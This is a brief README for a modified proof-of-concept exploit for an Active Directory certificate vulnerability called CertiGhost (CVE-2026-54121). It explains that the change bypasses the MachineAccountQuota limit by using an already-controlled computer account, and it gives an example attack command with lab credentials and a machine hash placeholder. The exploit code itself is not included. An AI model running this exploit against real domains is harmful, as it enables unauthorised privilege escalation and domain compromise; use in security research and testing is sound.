
CVE-2026-54121(CertiGhost) without MachineAccountQuota POC
This POC is the original POC code from https://github.com/aniqfakhrul/CVE-2026-54121/blob/main/certighost.py but with slight changes to use a computer object that we already controll instead of relying on creating a new computer that is generally limited through MachineAccountQuota
See original repo about CertiGhost vulnerability for more information.
Example usage:
python3 certighost.py -d playground.local -u lowpriv -p Password123 \
--dc-ip 192.168.209.157 \
--computer-name MACHINEA$ \
--computer-hash <NT_HASH_MACHINE_A$>